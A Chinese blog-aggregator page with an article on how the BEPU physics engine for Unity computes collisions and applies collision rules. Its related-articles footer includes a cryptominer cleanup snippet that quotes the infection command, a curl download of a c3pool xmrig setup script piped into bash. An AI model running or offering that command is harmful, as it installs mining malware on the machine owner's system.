Unity 3D定点数物理引擎实战系列:BEPU物理引擎碰撞计算与碰撞规则的架构与设计

news2025/2/8 22:13:59

前面我们讲解了如何监听物理引擎的碰撞事件, 在物理引擎内核中如何架构与设计碰撞规则,使得物理Entity与周围的物理环境产生碰撞时,如何灵活的控制物理碰撞,本节給大家详细的讲解BEPUphysicsint 物理引擎内部是如何管理与控制碰撞规则的。本文主要讲解3个部分:

  1. 物理引擎碰撞计算的全流程详解;
  2. 用户控制碰撞关系的规则详解;
  3. 与物理碰撞相关的其它一些注意事项;

物理引擎碰撞计算的全流程详解

物理引擎的碰撞计算是物理引擎性能消耗的部分之一,物理引擎如何高效的做好物理碰撞计算与物理引擎内核如何标准的处理碰撞检测流程(pipeline),详细的步骤如下:

  1. BroadPhase 快速粗略碰撞检测。 通过这个步骤,快速的计算筛选出来可能产生碰撞的物理Entity碰撞对(Entity Collison Pair)。要实现这个设计目标我们可以从物体与场景入手,可以简化物体的形状来做碰撞检测,通过物理场景,快速的排除掉不可能发生碰撞的物体,从而替代简单的暴力搜索O(n^2)。每个物理Entity都有自己的包围盒,能包围住整个物理Entity的形状,当两个物理Entity的包围盒有重叠的时候,物理引擎会产生一个潜在可能的碰撞对,如图1.6-1

找到这个碰撞对后,就会把物理碰撞对加入到物理世界的碰撞列表中,来进行下一步计算。

  1. NarrowPhase 精确的计算碰撞,生成碰信息。经过第一步的粗略计算,找出来了可能发生碰撞的物理Entity碰撞对。接下来就是要根据物理Shape形状与角度来精确的计算出来是否有真实的碰撞以及详细的碰撞点位置,表面法线信息等。注意不是所有的碰撞对都会产生碰撞,如上图1.6-1所示,BroadPhase阶段产生了碰撞,但是NarrowPhase阶段,却发现没有产生碰撞。
  2. Collision Respones阶段: 物理碰撞系统的最后一个阶段就是迭代计算出碰撞对每个物理Entity运动改变的影响。因为物理引擎中不允许两个物理Entity穿透。所以碰撞后就会改变物理Entity的运动状态。

用户定义碰撞规则

在物理引擎Pipeline的物理碰撞计算中要筛选出物理Entity碰撞规则。碰撞规则是指进入碰撞标准流程计算中采用哪种策略。用户可以指定物体的碰撞规则,指定碰撞计算策略。用户定义碰撞规则可由有3个地方产生出来, 这3个地方按照优先级进行筛选,如果当前没有,就进入下一个位置筛选,都没有,就用默认的碰撞规则。3个地方的分别如下(按照优先级来区分):

Specific特殊碰撞规则表: 物理Entity有一个Specific列表保存了一些物理的Entity实例以及与这些Entity实例的碰撞规则,如果碰撞对中的Entity实例在这个表中,就返回这个表中的碰撞规则。否则就进入下一个规则产生阶段。

Personal 私有碰撞规则: 针对单个的物理的Entity,如果物理Entity设置了这个碰撞规则,就是用这个碰撞规则

Group 碰撞分组:每个物体都可以设置一个碰撞分组,如果没有设置就使用默认的碰撞分组。由所在的碰撞分组来决定碰撞规则

这3个决定碰撞规则的地方的优先级别如图1.6-2所示:

上面提到一个概念,碰撞规则,碰撞规则是决定了物体与物体之间的碰撞该如何处理与计算。BEPU物理引擎分成了几个规则: 

CollisionRule.Normal: 允许碰撞对(Collision Pair)经历完整的碰撞计算,完整的碰撞计算包括了broad phase, narrow phase, collision response三个阶段。

CollisionRule.NoSolver: 允许碰撞对经历broad phase, narrow phase阶段,但是不计算碰撞信息与对物体运动状态的改变。

CollisionRule.NoNarrowPhaseUpdate: 允许碰撞对经历broad phase 与第一阶段的narrow phase。但是narrow phase的计算结果不更新到碰撞对中。

CollisionRule.NoNarrowPhasePair: 允许碰撞对经历broad phase的粗略测试,不进行narrow phase 测试。

CollisionRule.NoBroadPhase: 不做任何的碰撞测试。

CollisionRule.Defer: 延后决定,一个比较特殊的状态,上面说了有3个地方可以决定碰撞策略,如果某一个地方没有碰撞策略,就返回CollisionRule.Defer,进入到下一个地方。如果所有都没有,就使用默认的策略。

讲解完这些基本概念以后,我们来介绍一下基于碰撞分组Group如何具体产生碰撞策略。这种模式是我们开发中最常用的模式,当Specific与Personal两个地方无法决定碰撞策略的时候,物体的碰策略就是由它所在的分组来决定。物理引擎内核中有一个CollisionGroupRules字典,描述了哪些Group分组到碰撞规则的映射。当前物体所属哪个组,就可以获得该碰撞规则。要创建一个用户自定义的组,只要new 一个CollisionGroup的实例,然后将与每个其它分组的碰撞规则设置到CollisionGroupRules表中即可。有时候每个物体的类型会有冲突,那么如何取舍呢?这里的碰撞策略有一个优先级: NoBroadPhase>NoNarrowPhasePair>NoNarrowPhaseUpdate>NoSolver>Normal

物理碰撞相关的其它事项

用户可自定义broad phase的测试函数:我们可以通过设置物理Entity的CollisionRuleCalculator delegate 回调函数来定制broad phase碰撞测试时候的碰撞算法。这个回调函数最终会存到BroadPhase中的CalculateCollisionRuleCallback中。

kinematic 的物理Entity采用CollisionRule.NoSolver碰撞策略,这样可以不用改变它们的物理的运动状态。

今天的分享就到这里了,关注我们,可以获取Unity BEPUphysint3D实战源码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1597973.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux下SPI设备驱动实验:验证SPI节点及ICM20608设备子节点

一. 简介 前一篇文章在设备树文件中创建了SPI的 IO 的 pinctrl节点,SPI节点及ICM20608设备子节点,文章如下: Linux下SPI设备驱动实验:创建SPI节点及SPI设备子节点-CSDN博客 本文对设备树文件进行加载测试,确定SPI节…

MinGW与Cygwin傻傻分不清楚

MinGW(Minimalist GNU for Windows)和Cygwin是两个在Windows平台上广泛使用的开发工具,它们各自具有不同的特点和适用场景。 MinGW 的主要方向是让GCC的Windows移植版能使用Win32API来编程。MinGW几乎支持所有的Win32API。 Cygwin 的主要方…

封装原生html的table处理方法【参数类似eltable】

直接跑html即可 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>封装原生talbe</title> </…

SQL注入sqli_labs靶场第十七题

B站教学视频很详细 【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili 我将SQL语句在页面中显示&#xff0c;以便更深入学习。 1.寻找注入点 修改密码的一个页面。 输入正确的账号密码&#xff0c;可以看到&#xff0c;账号为admin&#xf…

三.变量的运算

目录 3.1 基本语法 3.2 算术运算符 3.3 字符串运算符 3.4 文件测试运算符 3.5 关系运算符 3.6 布尔运算符 3.7 逻辑运算符 3.8 运算表达式 Shell 和其他编程语言一样&#xff0c;支持多种运算符&#xff0c;包括&#xff1a; 算数运算符 关系运算符 布尔运算符 字符…

NO1 nmap工具的使用

以windows为例 nmap下载界面&#xff1a;Npcap: Windows Packet Capture Library & Driver&#xff0c;打开后找到对应的版本进行直接下载&#xff0c;双击exe文件安装即可。 Nmap安装&#xff08;Linux&#xff09; 对于大多数的Linux来说&#xff0c;可以直接利用RPM包…

基于Springboot+Vue的Java项目-校园周边美食探索及分享平台系统开发实战(附演示视频+源码+LW)

大家好&#xff01;我是程序员一帆&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;Java毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计 &am…

​面试经典150题——LRU 缓存

​ 1. 题目描述 2. 题目分析与解析 首先讲解一下LRU LRU 是“Least Recently Used”的缩写&#xff0c;LRU 算法的基本思想是跟踪最近最少使用的数据&#xff0c;并在缓存已满且需要存储新数据时优先驱逐该数据。 LRU 算法通常的工作原理的简化解释&#xff1a; 当访问或使…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

1043: 利用栈完成后缀表达式的计算

解法&#xff1a; #include<iostream> #include<stack> using namespace std; int main() {char a;stack<int> sk;while (cin >> a && a ! #) {if (a > 0 && a < 9) {sk.push(a - 0);}else {int num2 sk.top();sk.pop();int n…

数据结构--栈,队列,串,广义表

3.栈 &#xff08;先进后出&#xff09; 栈是一种特殊的线性表&#xff0c;只能从一端插入或删除操作。 4.队列 4.1 4.1.1初始化 4.1.2判断队列是否为空 4.1.3判断队列是否为满 4.1.4入队 4.1.5出队 4.1.6打印队列 4.1.7销毁队列 5.串 5.1 串的定义 由零个或者任意多…

C语言 | Leetcode C语言题解之第30题串联所有单词的子串

题目&#xff1a; 题解&#xff1a; typedef struct {char key[32];int val;UT_hash_handle hh; } HashItem;int* findSubstring(char * s, char ** words, int wordsSize, int* returnSize){ int m wordsSize, n strlen(words[0]), ls strlen(s);int *res (int *)mall…

总结|性能优化思路及常用工具及手段

性能优化是降低成本的手段之一&#xff0c;每年大促前业务平台都会组织核心链路上的应用做性能优化&#xff0c;一方面提升系统性能&#xff0c;另外一方面对腐化的代码进行清理。现结合业务平台性能优化的经验&#xff0c;探讨一下性能优化的思路及常用工具及手段。性能优化本…

[阅读笔记2][FLAN]FINETUNED LANGUAGE MODELS ARE ZERO-SHOT LEARNERS

接下来这篇是谷歌的FLAN&#xff0c;提出了指令微调这一新范式&#xff0c;在2022年发表。 这篇论文指出GPT3的zero-shot性能相比few-shot性能差太多了。他们发现如果对预训练模型进行指令微调能使zero-shot性能显著提升&#xff0c;下面右图显示指令微调后zero-shot比GPT3 few…

【模拟】Leetcode 替换所有的问号

题目讲解 1576. 替换所有的问号 算法讲解 这里有两个特殊情况&#xff1a;如果&#xff1f;在第一个位置&#xff0c;只需要判断后面的符号&#xff1b; 如果&#xff1f;在最后一个位置&#xff0c;只需要判断前面的符号 class Solution { public:string modifyString(stri…

Unity AR开发环境搭建

在这个项目中使用 Unity 2022.3.19。 AR项目建议使用2022.3及以上版本。 创建一个 3D URP 项目并将其命名为 Magicbox-AR。 注意&#xff1a;如果计划发布 iOS 版 AR 项目&#xff0c;则必须有权使用 Mac 进行最终构建。Windows 计算机无法为 iOS 设备构建最终产品。 项目创建…

Swin Unet——结合U-Net和Transformer的医学图像分割的网络解析

1. 概述 在过去的几年中&#xff0c;卷积神经网络&#xff08;CNN&#xff09;在医学图像分析领域取得了显著的成就&#xff0c;特别是在图像分割任务上。U-Net作为一种特别为医学图像分割设计的深度学习架构&#xff0c;因其优秀的性能而被广泛采用。然而&#xff0c;CNN的卷…

如何在浏览器Web前端在线编辑PPT幻灯片?

有时候在项目中我们会遇到需要在网页在线打开并编辑PPT文档保存到本地或者服务器指定位置&#xff0c;猿大师办公助手可以很方便的调用本机Office实现在网页上编辑PPT幻灯片&#xff0c;效果与本机Office打开PPT完全一样。 猿大师办公助手支持完整嵌入模式&#xff0c;也就是本…

顺序表 (头删 尾删 清空)

//头删 | 1 #include "head.h" | 1 #ifndef ww87 void head_del(p lp) | 2 int main(int argc, const char *argv[]) …

若依前后端部署到一起

引用&#xff1a;https://blog.csdn.net/qq_42341853/article/details/129127553 前端改造&#xff1a; 配置打包前缀 修改router.js 编程hash模式&#xff1a; 前端打包&#xff1a;npm run build:prod 后端修改&#xff1a; 添加thymeleaf包&#xff0c;和配置文件 spri…